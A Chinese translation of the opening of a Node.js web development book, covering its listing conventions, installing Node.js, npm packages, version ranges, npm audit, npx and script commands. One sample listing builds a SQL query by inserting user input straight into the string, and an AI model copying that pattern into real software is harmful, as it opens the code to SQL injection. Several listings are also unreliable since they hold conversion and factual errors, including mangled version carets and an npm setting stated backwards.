精通-Node-Web-开发-全-

精通 Node Web 开发(全)

原文:zh.annas-archive.org/md5/e8d89f28e9f4a0342cc3b6492900175c

译者:飞龙

协议:CC BY-NC-SA 4.0

第一部分

将 Node.js 放入上下文

通过学习必备工具、探索基础 JavaScript 功能以及理解核心 Node.js 对 Web 应用的支持,开始你的 Node.js 开发之旅。

本部分包含以下章节:

  • 第一章准备就绪

  • 第二章使用 Node.js 工具

  • 第三章,*JavaScript 和 TypeScript 入门

  • 第四章理解 Node.js 并发

  • 第五章处理 HTTP 请求

  • 第六章使用 Node.js 流

  • 第七章使用包和内容安全

  • 第八章单元测试和调试

第一章:准备工作

Node.js 是一种服务器端 JavaScript 运行时环境,已成为创建网络应用中最受欢迎的平台之一。Node.js 享有庞大的包和框架库,提供了各种可想象的功能和功能,这些功能和功能建立在 Node.js 提供的丰富 API 上,用于处理底层任务。

本书与其他大多数 Node.js 书籍不同,因为它解释了 Node.js API 和流行网络应用包之间的关系。每一章都解释了如何使用 Node.js API 实现网络开发所需的核心功能,然后在替换自定义实现之前,使用流行的、经过良好测试的开源包。

理解 Node.js API 可以让你深入了解网络应用功能是如何真正工作的,而使用流行的包可以让你在不编写自定义代码的情况下构建这些功能。当问题出现时,任何项目都会出现,你对 Node.js API 的了解将为你提供一个坚实的基础,以揭示特定包的工作方式,并找出出了什么问题。

本书的第一部分概述了 Node.js 开发中使用的工具,并为最重要的语言和平台特性提供了入门指南,包括 JavaScript 如何实现并发,以及这与使用 Node.js 处理 HTTP 请求的关系。

本书第二部分重点介绍网络应用的关键构建块:生成 HTML 内容、处理表单、使用数据库和验证用户。

本书的第三部分和最后一部分演示了如何将前面章节中描述的功能结合起来,创建一个简单但真实的网络商店应用程序。

这是我在许多书中使用过的 SportsStore 示例,它包括产品目录、购物车、结账流程和管理功能等常见特性。

你需要了解什么?

要跟随本书中的示例,你应该熟悉 HTML 和 CSS,并了解 JavaScript 开发的基础知识。我为本书中有用的 JavaScript 功能提供了一个入门指南,但这不是一个完整的语言教程。

你如何设置你的开发环境?

Node.js 开发所需工具在 第二章 中已设置。后续章节需要额外的工具和包,并为每个工具和包提供完整说明。

有很多示例吗?

大量 的示例。最佳的学习方式是通过示例,我已经将尽可能多的示例打包到这本书中。为了最大化本书中的示例数量,我采用了一个简单的约定来避免重复列出相同的代码或内容。当我创建一个文件时,我会展示其全部内容,就像我在 列表 1.1 中所做的那样。我在列表的标题中包含文件名及其文件夹,并以粗体显示我所做的更改。

列表 1.1:在 primer 文件夹中的 index.ts 文件中断言一个未知值

function getUKCapital() : string {
    return "London";
}
function writeCity(f: () => string)  {
    console.log(`City: ${f()}`)
}
writeCity(getUKCapital);
writeCity(() => "Paris");
**let myCity = "Rome";**
**writeCity(() => myCity);** 

这是从第三章中列出的一部分,展示了可以在primer文件夹中找到的名为index.ts的文件的内容。不要担心列表的内容或文件的目的;只需意识到这种类型的列表包含文件的完整内容,而你需要为遵循示例所做的更改以加粗形式显示。

一些代码文件变得很长,而我将要描述的功能只需要进行小的更改。而不是列出完整的文件,我使用省略号(连续的三个点)来表示部分列表,这仅显示了文件的一部分,如列表 1.2所示。

列表 1.2. 在 src/server/data 文件夹中的 sql_repository.Ts 文件中包含用户输入

...
getResultsByName($name: string, $limit: number): Promise<Result[]> {
    **return this.executeQuery****(`**
**SELECT Results.*, name, age, years, nextage FROM Results**
 **INNER JOIN People ON personId = People.id**
**INNER JOIN Calculations ON calculationId = Calculations.id**
**WHERE name = "${$name}"`, {});**
}
... 

这是从第十二章中列出的一部分,它展示了对一个较大文件的一部分所做的更改。当你看到部分列表时,你会知道文件的其余部分不需要更改,只有被加粗标记的部分是不同的。

在某些情况下,文件的不同部分需要更改,这使得很难以部分列表的形式展示。在这种情况下,我省略了部分文件内容,如列表 1.3所示。

列表 1.3. 在 src/server/data 文件夹中的 orm_helpers.ts 文件中定义模型关系

import { DataTypes, Sequelize } from "sequelize";
import { Calculation, Person, ResultModel } from "./orm_models";
const primaryKey = {
    id: {
        type: DataTypes.INTEGER,
        autoIncrement: true,
        primaryKey: true
    }       
};
export const initializeModels = (sequelize: Sequelize) => {
    // ...statements omitted for brevity...
}
**export const defineRelationships = () => {**
**ResultModel.belongsTo(Person, { foreignKey: "personId" });**
**ResultModel.belongsTo(Calculation, { foreignKey: "calculationId"});**
**}** 

在这个列表中,更改仍然被加粗标记,而列表中省略的文件部分不受此示例的影响。

你在哪里可以找到示例代码?

你可以从github.com/PacktPublishing/Mastering-Node.js-Web-Development下载本书所有章节的示例项目。我们还有其他来自我们丰富图书和视频目录的代码包,可在github.com/PacktPublishing/找到。查看它们吧!

如果你跟随示例有困难怎么办?

首先要做的是回到章节的开始,重新开始。大多数问题都是由跳过步骤或没有完全应用列表中显示的更改造成的。请密切关注代码列表中的加粗强调,它突出了所需的更改。

然后,检查包含在书 GitHub 仓库中的勘误表/更正列表。技术书籍很复杂,尽管我尽了最大努力以及编辑们的努力,错误是不可避免的。检查勘误表以获取已知错误列表和解决它们的说明。

如果你仍然有问题,那么从书的 GitHub 仓库中下载你正在阅读的章节的项目(github.com/PacktPublishing/Mastering-Node.js-Web-Development),并将其与你的项目进行比较。我是通过逐章工作来创建 GitHub 仓库中的代码的,所以你应该在你的项目中拥有相同文件和相同内容的文件。

如果您仍然无法使示例工作,那么您可以通过 adam@adam-freeman.com 联系我寻求帮助。请在您的邮件中清楚地说明您正在阅读哪本书,以及哪个章节/示例引起了问题。页码或代码列表总是有帮助的。请记住,我收到很多邮件,我可能不会立即回复。

如果您在书中发现错误怎么办?

您可以通过电子邮件在 adam@adam-freeman.com 报告错误,或者访问 www.packtpub.com/submit-errata,点击 Submit Errata 并填写表格,尽管我要求您首先检查这本书的勘误表/更正列表,您可以在书的 GitHub 仓库中找到它,网址为 github.com/PacktPublishing/Mastering-Node.js-Web-Development,以防它已经被报告。

我将可能让读者困惑的错误,特别是示例代码中的问题,添加到 GitHub 仓库中的勘误表/更正文件中,并对第一个报告错误的第一位读者表示感激。我还发布了一个不太严重的问题列表,这通常意味着代码周围的文本错误,不太可能引起混淆。

如何联系作者?

您可以通过 adam@adam-freeman.com 发送邮件给我。自从我在书中开始发布电子邮件地址以来,已经有几年时间了。我并不完全确定这是一个好主意,但我很高兴我这么做了。我收到了来自世界各地的邮件,来自各行各业工作或学习的人们,而且——至少大部分情况下——这些邮件都是积极的、礼貌的,并且收到它们是一种乐趣。

我尽量迅速回复,但我收到很多邮件,有时我会积压,尤其是在我埋头写作新书的时候。我总是试图帮助那些在书中遇到示例问题的读者,尽管我在联系我之前要求您遵循本章前面描述的步骤。

虽然我欢迎读者的邮件,但有一些常见问题,答案总是“不”。我恐怕我不会为您的初创公司编写代码,帮助您完成大学作业,参与您的发展团队的设计争议,或者教您如何编程。

如果您真的喜欢这本书怎么办?

请通过 adam@adam-freeman.com 发送邮件并告知我。收到快乐读者的来信总是令人高兴,我感激您花时间发送这些邮件。写这些书可能会有困难,而这些邮件为坚持这项有时可能感觉不可能的活动提供了至关重要的动力。或者,您也可以将反馈发送到 feedback@packtpub.com。

如果这本书让您生气了怎么办?

您仍然可以通过 adam@adam-freeman.com 发送电子邮件,我仍然会尽力帮助您。请记住,只有当您解释了问题以及您希望我做什么时,我才能帮助您。您应该理解,有时,唯一的结局是接受我不是您的作者,并且只有当您归还此书并选择另一本书时,我们才能达成和解。我会仔细思考让您不高兴的原因,但经过 25 年的书籍写作,我已经接受并非每个人都喜欢阅读我喜欢写的书籍。或者,您也可以通过 feedback@packtpub.com 发送反馈。

现在您已经了解了本书的结构,下一章将探讨用于 Node.js 开发的工具。

下载此书的免费 PDF 副本

感谢您购买此书!

您喜欢在路上阅读,但无法携带您的印刷书籍到处走吗?

您选择的设备是否与您的电子书购买不兼容?

不必担心,现在每购买一本 Packt 书籍,您都可以免费获得该书的 DRM 免费 PDF 版本。

在任何地方、任何设备上阅读。直接从您最喜欢的技术书籍中搜索、复制和粘贴代码到您的应用程序中。

优惠远不止于此,您还可以获得独家折扣、时事通讯和每天收件箱中的优质免费内容。

按照以下简单步骤获取这些好处:

  1. 扫描下面的二维码或访问以下链接:

packt.link/free-ebook/9781804615072

  1. 提交您的购买证明。

  2. 就这些!我们将直接将您的免费 PDF 和其他福利发送到您的电子邮件。

分享您的想法

一旦您阅读了《精通 Node.js Web 开发》,我们很乐意听听您的想法!请点击此处直接访问此书的亚马逊评论页面并分享您的反馈。

您的评论对我们和科技社区非常重要,并将帮助我们确保我们提供高质量的内容。

第二章:使用 Node.js 工具

在本章中,我解释了开始使用 Node.js 的简单过程,从准备开发所需的基本步骤开始。我解释了如何使用 Node.js 执行 JavaScript 代码,然后介绍了 Node.js 开发的真正力量:Node 包管理器npm)。npm 是在开发过程中做大部分工作的工具,负责从下载和安装 JavaScript 包、报告安全漏洞到运行开发命令的所有事情。表 2.1 总结了本章内容。

表 2.1:章节总结

问题 解决方案 列表
执行 JavaScript 文件。 使用 node 命令。 5
为使用 JavaScript 包的项目初始化。 使用 npm init 命令。 6
向项目中添加 JavaScript 包。 使用 npm install 命令。使用 --save-dev 参数为开发工具包。 7, 8
列出项目中使用的包。 使用 npm list 命令。 9, 10
列出项目中使用的包报告的安全漏洞。 使用 npm audit 命令。 N/A
在包中执行代码。 node_modules/.bin 文件夹添加到路径或使用 npx 命令。 11–17
启动项目使用的开发工具。 package.json 文件的脚本部分定义命令,并使用 npm startnpm run 命令。 18–22

准备工作

准备 Node.js 开发的关键步骤,正如你所预期的,是安装 Node.js 及其支持工具。我在本书中使用的 Node.js 版本是 20.9.0,这是写作时的 长期支持LTS)版本。在你阅读本书时,可能会有更晚的版本可用,但你应该坚持使用这个版本中的示例。

Node.js 版本 20.10.0 的完整安装程序可在 nodejs.org/download/release/v20.10.0 获取。下载并运行适用于您平台的安装程序,确保已选中 npm 包管理器添加到 PATH 选项,如图 图 2.1 所示:

计算机设置的截图 自动生成描述

图 2.1:安装 Node.js

安装完成后,打开一个新的命令提示符并运行 列表 2.1 中显示的命令:

列表 2.1:运行 Node.js

node -v 

如果安装成功,你将看到以下版本号显示:

v20.10.0 

安装程序应该已经设置了包管理器,这在 Node.js 开发中起着关键作用。运行 列表 2.2 中显示的命令以确保包管理器正在运行:

列表 2.2:运行包管理器

npm -v 

如果安装成功,你将看到以下版本号:

10.1.0 

安装 Git

一些包依赖于流行的版本控制系统 Git。从 git-scm.com/downloads 下载你平台的安装程序,并按照安装说明进行操作。

安装完成后,使用命令提示符运行 列表 2.3 中所示的命令以检查 Git 是否正常工作。你可能需要手动配置可执行路径:

列表 2.3:检查 Git

git --version 

在撰写本文时,Git for Windows 和 Linux 的最新版本是 2.42.0。

选择代码编辑器

需要一个编辑器来编写 Node.js 将要执行的代码,任何支持 JavaScript 和 TypeScript 的编辑器都可以用来跟随本书中的示例。如果你还没有首选的编辑器,那么 Visual Studio Code (code.visualstudio.com) 已经成为最受欢迎的编辑器,因为它既好又免费,而且我在编写本书时使用的也是这个编辑器。

如果你使用的是 Visual Studio Code,运行命令 code 以启动编辑器或使用安装过程中创建的程序图标,你将看到 图 2.2 中所示的欢迎屏幕。(在使用命令 code 之前,你可能需要将 Visual Studio Code 添加到你的命令提示符路径中。)

![图片 B21959_02_02.png]

图 2.2:Visual Studio Code 欢迎屏幕

使用 Node.js

Node.js 的整个目的就是执行 JavaScript 代码。打开命令提示符,导航到一个方便的位置,创建一个名为 tools 的文件夹。将一个名为 hello.js 的文件添加到 tools 文件夹中,其内容如 列表 2.4 所示:

列表 2.4:工具文件夹中 hello.js 文件的内容

console.log("Hello, World"); 

Node.js API 有一些功能也由现代 JavaScript 浏览器提供,包括 console.log 方法,该方法将消息写入控制台。在 tools 文件夹中运行 列表 2.5 中所示的命令以执行 JavaScript 代码:

列表 2.5:执行 JavaScript 代码

node hello.js 

node 命令启动 Node.js 运行时并执行指定的 JavaScript 文件,产生以下输出:

Hello, World 

关于执行 JavaScript 代码,这就是所有需要了解的内容。Node.js 提供的其他功能都是通过 API 传递的,这些 API 在本书的其余部分进行了描述,从 第四章 开始。

理解 npm 工具

node 命令通常不直接使用,大多数开发活动都依赖于与 Node.js 一起安装的 npm 工具。npm 的主要功能是提供对 npm 仓库 (npmjs.com) 的访问,该仓库包含了一个令人难以置信的开源 JavaScript 包集合,可以将它们添加到项目中。npm 已经从其原始目的扩展到添加相关功能,并已成为使用 Node.js 不可或缺的一部分,正如我在以下章节中所描述的。为了快速参考,表 2.2 列出了 npm 支持的最有用的命令,npm 是包管理器命令。

名称 描述

|

`npm init` 
此命令创建一个 package.json 文件,用于跟踪项目的包。

|

`npm install` 
此命令将包添加到项目中。--save-dev 参数用于安装开发期间使用但不是应用程序一部分的包。

|

`npm list` 
此命令列出已添加到项目中的所有包。--all 参数将包依赖项包含在输出中。

|

`npm audit` 
此命令报告项目中使用的包中报告的安全漏洞。

|

`npm start` 
此命令执行在 package.json 文件中定义的 start 脚本。

|

`npm stop` 
此命令执行在 package.json 文件中定义的 stop 脚本。

|

`npm restart` 
此命令执行在 package.json 文件中定义的 restart 脚本。

|

`npm test` 
此命令执行在 package.json 文件中定义的 test 脚本。

|

`npm run` 
此命令执行在 package.json 文件中定义的自定义命令。

|

`npx` 
此命令执行一个包。

表 2.2:有用的 npm 命令

初始化项目

npm 依赖于一个名为 package.json 的配置文件,该文件描述了开发项目,跟踪它所依赖的包,并存储与包相关的配置设置。在 tools 文件夹中运行 列表 2.6 中显示的命令以创建示例项目的 package.json 文件:

列表 2.6:初始化项目

npm init -y 

init 命令提示用户输入要放入 package.json 文件中的值,但 -y 参数选择默认值,这些默认值适用于大多数项目,包括本章的示例。init 命令创建一个包含以下内容的 package.json 文件:

{
  "name": "tools",
  "version": "1.0.0",
  "description": "",
  "main": "hello.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "keywords": [],
  "author": "",
  "license": "ISC"
} 

package.json 文件的大部分初始内容描述了项目,以便它可以发布到包注册表,这就是为什么会有版本号和许可证的设置。在后面的部分中,将向文件中添加更多设置,您可以在 docs.npmjs.com/cli/v10/configuring-npm/package-json 查看支持的设置完整列表。

管理包

npm 的主要功能是管理项目中使用的包。这可能看起来不是什么大事,但 Node.js 开发的一个令人信服的方面是庞大的开源包库,这些包在公共注册表中可用 (npmjs.com)。npm 提供对注册表的访问,负责下载和安装包,并管理包之间的依赖关系以避免冲突。

使用 npm install 命令将包添加到项目中。在 tools 文件夹中运行 列表 2.7 中显示的命令以将包添加到示例项目:

列表 2.7:添加包

npm install bootstrap@5.3.0 

npm install 命令将包添加到项目中,参数指定了包的名称(在本例中为 bootstrap),后面跟着一个 @ 符号,然后是版本号。您可以省略 @ 符号和版本号,在这种情况下,将安装最新版本,但指定安装包时最好具体指定。

清单 2.7 中的命令将优秀的 Bootstrap CSS/JavaScript 包添加到项目中。作为此过程的一部分,npm 会查看 Bootstrap 依赖的包并将它们也安装上。一旦命令执行完成,您将在 package.json 文件中看到一个新部分:

{
  "name": "tools",
  "version": "1.0.0",
  "description": "",
  "main": "hello.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "keywords": [],
  "author": "",
  "license": "ISC",
 **"dependencies": {**
 **"bootstrap": "⁵.3.0"**
 **}**
} 

dependencies 部分用于跟踪项目中使用的包。package.json 文件中的版本号前加上一个撇号(^ 字符),这是 npm 系统用于指定版本号范围的组成部分,如 表 2.3 中所述:

名称 描述
* 使用星号可以接受要安装的包的任何版本。
5.3.0 直接表达版本号将只接受与精确匹配的版本号的包,例如,5.3.0
>5.3.0 >=3.3.0 在版本号前加上 >>= 可以接受任何大于或等于给定版本的包版本。
<5.3.0 <=5.3.0 在版本号前加上 <<= 可以接受任何小于或等于指定版本的包版本。
~5.3.0 在版本号前加上波浪号(~ 字符)可以接受安装的版本,即使补丁级别数字(三个版本号中的最后一个)不匹配。例如,指定 ~5.3.0 将接受版本 5.3.15.3.2(这将包含对版本 5.3.0 的补丁),但不接受版本 5.4.0(这将是一个新的次要版本)
⁵.3.0 在版本号前加上撇号(^ 字符)将接受版本,即使次要版本号(三个版本号中的第二个)或补丁号不匹配。例如,指定 ⁵.3.0 将允许版本 5.4.05.5.0,但不允许版本 6.0.0

表 2.3:npm 版本号

使用精确版本号

当我在 清单 2.7 中指定 bootstrap@5.3.0 时,npm 通过将版本解释为 ⁵.3.0 给自己留了一些余地。解决包之间依赖和冲突的过程是一个复杂的过程,通过扩大可接受版本的范围可以简化这个过程。这种方法依赖于这样的想法,即版本 5.4.0(例如),将与版本 5.3.0 兼容,并且不会包含破坏性更改。

如果您不能依赖包来维护兼容性,那么您可以配置 npm 使用精确版本号,通过运行此命令:

`npm config set save-exact false` 

npm 将仅使用您指定的版本,但代价是解决包之间的依赖和版本冲突可能更加困难。

包存储在 node_modules 文件夹中,该文件夹是自动创建的。npm 为它下载的每个包创建一个文件夹,随着包及其依赖项的解决,文件夹的数量可能会很多。

为了确保依赖项得到一致解决,npm 创建了 package-lock.json 文件,其中包含已安装的包的完整列表以及具体的版本号。

安装开发包

package.json 文件的 dependencies 部分用于存放应用程序运行所需的包。npm 命令还可以用来添加仅在开发期间需要的包,例如编译器和调试器。运行 tools 文件夹中显示的 清单 2.8 命令,将开发包添加到项目中:

清单 2.8:将开发包添加到示例项目

npm install --save-dev typescript@5.2.2 tsc-watch@6.0.4 

--save-dev 参数指定了一个开发包,此命令安装了仅在开发期间需要的两个包。typescript 包包括 TypeScript 编译器,用于将 TypeScript 代码编译成 Node.js 可以执行的 JavaScript。tsc-watch 包是一个有用的附加组件,它可以监视 TypeScript 文件的变化,并自动编译和执行它们。

检查 package.json 文件,你会看到一个新的配置部分:

{
  "name": "tools",
  "version": "1.0.0",
  "description": "",
  "main": "hello.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "start": "tsc message.ts"
  },
  "keywords": [],
  "author": "",
  "license": "ISC",
  "dependencies": {
    "bootstrap": "⁵.3.0"
  },
 **"devDependencies": {**
 **"tsc-watch": "****⁶.0.4",**
 **"typescript": "⁵.2.2"**
 **}**
} 

devDependencies 部分用于跟踪开发包,当应用程序准备部署时,这些包不需要被包含。新的部分包含了 清单 2.8 中命令指定的包。

选择包和工具

JavaScript 从一个广泛且动态的开源包生态系统中受益,这些包可以解决你可能会遇到的几乎所有问题。选择如此之多,以至于很难决定使用哪些包,尤其是由于不断有在线文章声称某个新的包是构建应用程序的热门方式。

令人遗憾的是,大多数项目因缺乏支持而失败。某个人,在某个地方,对某个包的工作方式感到沮丧,并决定编写自己的替代品。他们意识到其他人可能也会从中受益,并利他地决定将他们的代码发布给任何人使用。大多数情况下,这就是故事的结局,要么是因为没有多少人遇到相同的挫折,要么是因为新包以不适合其他项目的方式解决了问题。

在许多方面,这是最好的结果——至少对于原始开发者来说是这样——因为一旦一个包开始获得用户,开发者就会开始收到修复、功能和一般支持的请求。开源包的想法是大家共同参与,但这种情况往往并不发生。包开发者的负担可能会很大,用户需求可能无限且具有侵略性,而且——未付费的——工作量可能会失控。许多开始变得流行的包在这个时候就会被放弃,因为原始开发者无法应对维护工作,而且没有人愿意伸出援手。

只有少数包能够超越这个阶段。原始开发者成功地招募到帮助解决问题和编写新功能,并将包置于类似项目的地位。原始开发者可能会转向其他项目,但这个包变得足够重要,以至于其他人愿意承担这项任务,项目得以继续。在这个阶段,包成熟了,可以广泛使用,并且几乎总是成为那些在线文章中引起所有人愤怒的不时尚的方法。

我的建议是选择适合你正在进行的项目的包。对于主流的商业开发,我推荐使用那些已经克服了这些障碍并成为稳定且维护良好的包。这些包每周的下载量很高(你可以在 npm.js 上看到),定期更新,并且有一个积极参与并回应问题和查询的团队。这些包将在你的项目生命周期内持续得到支持,让你能够在稳固的平台之上交付你的特性。正是这类包,我在整本书中都在使用。

对于爱好和实验性项目,我建议使用不太成熟的包。这些包的支持可能不会那么好,你将遇到更多问题,需要做更多工作才能让一切正常运行,但你将学到更多,也许会更有趣。

无论你如何选择包,记住你正在受益于他人的无私奉献。如果你可以的话,那么就为使用的包做出贡献。几乎每个包都有一个等待修复的 bug 列表,这是一个参与的好方法。如果你不自信贡献代码,那么可以考虑进行财务捐助。许多项目接受捐赠,甚至最大的和最广泛使用的包也由接受个人和公司支持者的基金会管理。

列出包

你可能在一个项目中只依赖少数几个包,但每个包都有依赖项,很容易在项目中积累成百上千个小包,每个包都贡献了一小部分功能。要查看已添加到项目中的包集,请在 tools 文件夹中运行 列表 2.9 中显示的命令:

列表 2.9:列出已安装的包

npm list 

输出对应于本章早期部分使用的 npm install 命令,尽管你可能看到略有不同的版本号:

+-- bootstrap@5.3.0
+-- tsc-watch@6.0.4
`-- typescript@5.2.2 

在幕后,npm 检查了这些包以发现它们的依赖项,并安装了这些包,这可以通过在 tools 文件夹中运行 清单 2.10 命令来查看:

清单 2.10:列出包和依赖项

npm list --all 

--all 参数告诉 npm 列出依赖项,并产生类似于以下内容的输出,尽管你可能看到不同的细节:

+-- bootstrap@5.3.0
+-- tsc-watch@6.0.4
| +-- cross-spawn@7.0.3
| | +-- path-key@3.1.1
| | +-- shebang-command@2.0.0
| | | `-- shebang-regex@3.0.0
| | `-- which@2.0.2
| |   `-- isexe@2.0.0
| +-- node-cleanup@2.1.2
| +-- ps-tree@1.2.0
| | `-- event-stream@3.3.4
| |   +-- duplexer@0.1.2
| |   +-- from@0.1.7
| |   +-- map-stream@0.1.0
| |   +-- pause-stream@0.0.11
| |   | `-- through@2.3.8 deduped
| |   +-- split@0.3.3
| |   | `-- through@2.3.8 deduped
| |   +-- stream-combiner@0.0.4
| |   | `-- duplexer@0.1.2 deduped
| |   `-- through@2.3.8
| +-- string-argv@0.3.2
| `-- typescript@5.2.2 deduped
`-- typescript@5.2.2 

当你运行此命令时,你可能会看到一些细微的差异。大多数项目依赖于一个深层的包树,npm 会负责解决每个包的依赖项,并自动下载所有必需的包。

检查包安全漏洞

项目中大量的 JavaScript 包使得难以确切知道你正在使用哪些包,以及这些包是否报告了安全漏洞。

为了解决这个问题,包仓库维护了一个已知问题的列表。当 npm 解决包依赖项时,它会检查它正在安装的所有包与漏洞列表,如果发现任何问题,则发出警告。以下是一个安装包含漏洞的依赖项的包的命令示例:

npm install --save-dev nodemon@2.0.20 

由于 JavaScript 包依赖项的动态性质,此命令在本书出版时可能不会产生相同的效果,但当我运行此命令时,我收到了以下响应:

added 32 packages, and audited 54 packages in 3s
5 packages are looking for funding
  run `npm fund` for details
**3 moderate severity vulnerabilities** 

npm 已经在已安装的包中识别出三个安全问题。有关更多详细信息,我运行了以下命令:

npm audit 

npm audit 命令报告潜在问题。在这种情况下,存在一个名为 semver 的包,其版本号在 7.0.0 到 7.5.1 之间存在问题:

# npm audit report
semver  7.0.0 - 7.5.1
Severity: moderate
semver vulnerable to Regular Expression Denial of Service - https://github.com/advisories/GHSA-c2qf-rxjj-qqgw
fix available via `npm audit fix --force`
Will install nodemon@3.0.1, which is a breaking change
node_modules/simple-update-notifier/node_modules/semver
  simple-update-notifier  1.0.7 - 1.1.0
  Depends on vulnerable versions of semver
  node_modules/simple-update-notifier
    nodemon  2.0.19 - 2.0.22
    Depends on vulnerable versions of simple-update-notifier
    node_modules/nodemon
3 moderate severity vulnerabilities 

输出提供了一个可以找到详细信息的 URL,并建议安装顶级包的较新版本——由 npm install 命令添加的包——可以修复问题,尽管这可能会引入破坏性更改,可能导致现有代码无法工作。

存在一个 npm audit fix 命令,它试图将包移动到已修复的版本,但可能会与深度嵌套的依赖项发生问题,因此应谨慎使用。

对于本书中使用的包,你应该使用我指定的版本,即使有关于安全漏洞的警告,也要确保示例按预期工作。对于真实项目,你应该评估每个报告的漏洞,并确定是否可以通过不破坏代码的方式移动到修补过的包。在项目中进行相应的更改后,可能并不总是能够完全移除所有有漏洞的包,只有你自己才能决定对你项目来说什么是合理的。

为了清楚起见,我并不是建议你忽略安全警告。我是在说,并非所有警告都是针对所有项目中可能发生的问题,而且有时你可能会决定坚持使用有漏洞的包,因为对你的项目风险较低,并且升级包所需的工作量很大。你也可能会形成这样的观点,即开发者包的问题风险较小,因为这些包在项目部署时不会被包括在内。

执行包

一些包包括可以用来执行包功能的外壳脚本,这些脚本安装在 node_modules/.bin 文件夹中。例如,列表 2.10 中添加的包包含一个 tsc 脚本,该脚本启动 TypeScript 编译器。将一个名为 message.ts 的文件添加到 tools 文件夹中,内容如 列表 2.11 所示。(ts 文件扩展名表示 TypeScript 文件。)

列表 2.11:工具文件夹中 message.ts 文件的内容

function writeMessage(msg: string) {
    console.log(`Message: ${msg}`);
}
writeMessage("This is the message"); 

TypeScript 代码必须在 Node.js 执行之前编译成纯 JavaScript。我在 第三章 中更详细地描述了此过程,但本章中,只需知道我需要使用 列表 2.8 中添加到项目中的包提供的 tsc 命令即可。

第一步是将包含脚本的文件夹添加到用于搜索命令的路径中。如果你使用 PowerShell,即我在 Windows 机器上开发时使用的工具,请执行 列表 2.12 中显示的命令:

列表 2.12:在 PowerShell 中设置路径

$env:path += ';.\node_modules\.bin' 

列表 2.13 展示了 Bourne shell 的等效命令,这在 Linux 机器上常见:

列表 2.13:在 Bourne shell 中设置路径

PATH=$PATH:./node_modules/.bin/ 

提供外壳脚本的包通常支持一系列命令外壳。对于其编译器,typescript 包将三个文件添加到 node_modules/.bin 文件夹中:tsc(支持 Bourne shell)、tsc.ps1(支持 PowerShell)和 tsc.cmd(支持较旧的 Windows 命令提示符)。

这些并不是添加到 .bin 文件夹的唯一脚本文件。typescript 包还添加了用于 tsserver 命令的脚本,该命令用于将 TypeScript 集成到开发工具中,如编辑器,但本书中不需要。其他包在 npm 安装包并解决依赖关系时添加条目。

tools 文件夹中运行 列表 2.14 中显示的命令以运行编译器:

列表 2.14:运行包命令

tsc message.ts 

命令不会产生任何消息,但在 tools 文件夹中创建了一个名为 message.js 的文件,内容如下:

...
function writeMessage(msg) {
    console.log("Message: ".concat(msg));
}
writeMessage("This is the message");
... 

tools 文件夹中运行 列表 2.15 中显示的命令以使用 Node.js 执行编译后的 JavaScript 代码:

列表 2.15:执行 JavaScript 代码

node message.js 

Node.js 运行时执行 TypeScript 编译器创建的文件中的代码,生成以下输出:

Message: This is the message 

使用 npx 命令

并非所有包都安装脚本,另一种执行包功能的方法是使用npx命令。添加到node_modules文件夹中的每个包都有自己的package.json文件。除了跟踪包的依赖关系外,package.json文件还定义了一个bin部分,该部分定义了npx可以执行的命令。对于列表 2.8中添加的包,package.json文件位于node_modules/typescript文件夹中,并包含以下bin部分:

...
"bin": {
    "tsc": "./bin/tsc",
    "tsserver": "./bin/tsserver"
},
... 

bin部分的条目定义了一个命令和一个将被该命令执行的 JavaScript 文件。typescript包为tsctsserver命令定义了bin条目,这些条目对应于上一节中使用的 shell 脚本。在tools文件夹中运行列表 2.16中显示的命令以使用npx执行 TypeScript 编译器:

列表 2.16:执行 TypeScript 编译器

npx tsc message.ts 

此命令与列表 2.14中的命令具有相同的效果。当多个包定义了同名命令时,可以使用--package参数,如列表 2.17所示:

列表 2.17:指定包

npx --package=typescript tsc message.ts 

如果包含该命令的包未安装,则npx命令将下载该包到缓存文件夹中,然后执行该命令。

使用脚本命令

npm支持一组通过在package.json文件的scripts部分添加条目来自定义的命令。一开始这可能感觉有点奇怪,但它是一种强大而简洁地使用 JavaScript 包提供功能的方式。npm支持以下基本命令:

  • start

  • stop

  • restart

  • test

项目不一定需要每个命令,使用这些命令也没有固定的规则,但惯例是使用start命令启动开发工具,并使用test命令运行单元测试,这些内容我在第八章中进行了描述。

列表 2.18scripts部分添加了一个条目:

列表 2.18:在工具文件夹中的package.json文件中配置命令

{
  "name": "tools",
  "version": "1.0.0",
  "description": "",
  "main": "hello.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    **"start"****: "tsc-watch message.ts --onSuccess \"node message.js\""**  },
  "keywords": [],
  "author": "",
  "license": "ISC",
  "dependencies": {
    "bootstrap": "⁵.3.0"
  },
  "devDependencies": {
    "tsc-watch": "⁶.0.4",
    "typescript": "⁵.2.2"
  }
} 

scripts部分的每个条目都由一个命令名称和相关动作组成。列表 2.18start命令关联的动作运行tsc-watch命令,这是一个围绕 TypeScript 编译器的包装器,它监视 TypeScript 文件的变化,并且可以配置在编译成功时执行命令。(test命令是在创建package.json文件时自动添加的,仅打印出错误消息。)

我可以直接从命令行运行tsc-watch命令,无论是使用包添加到node_modules/.bin文件夹中的 shell 脚本,还是使用npx命令,但随着命令的复杂化,记住语法并正确输入它们变得越来越困难。package.json文件中的新条目让我可以一次性定义命令,然后始终一致地调用它。在tools文件夹中运行列表 2.19中显示的命令:

列表 2.19:运行脚本命令

npm start 

npm start 命令告诉 npm 执行 package.json 文件中定义的 start 动作,产生以下输出:

09:19:15 - Starting compilation in watch mode...
09:19:16 - Found 0 errors. Watching for file changes.
Message: This is the message 

列表 2.20 对 TypeScript 文件进行了一些小的修改:

列表 2.20:在工具文件夹中的 message.ts 文件中进行修改

function writeMessage(msg: string) {
    console.log(`Message: ${msg}`);
}
**writeMessage("This is the new message");** 

当你保存修改后的文件时,变更会被检测到,TypeScript 文件会被编译,然后使用 Node.js 来执行 JavaScript,产生以下输出:

...
Message: This is the new message
... 

大多数网络应用程序项目开发依赖于持续运行的工具,这些工具会监控文件变更,本书将遵循这种模式。使用 Control+C 停止命令,一旦你看到了输出。

定义自定义命令

除了内置命令外,npm 还支持自定义命令,如 列表 2.21 所示:

列表 2.21:在工具文件夹中的 package.json 文件中定义自定义脚本命令

...
"scripts": {
  "test": "echo \"Error: no test specified\" && exit 1",
  "start": "tsc-watch message.ts --onSuccess \"node message.js\"",
  **"go": "tsc message.ts && node message.js"**
},
... 

新命令的名称是 go,它编译 message.ts TypeScript 文件,然后使用 Node.js 来执行编译后的 JavaScript。
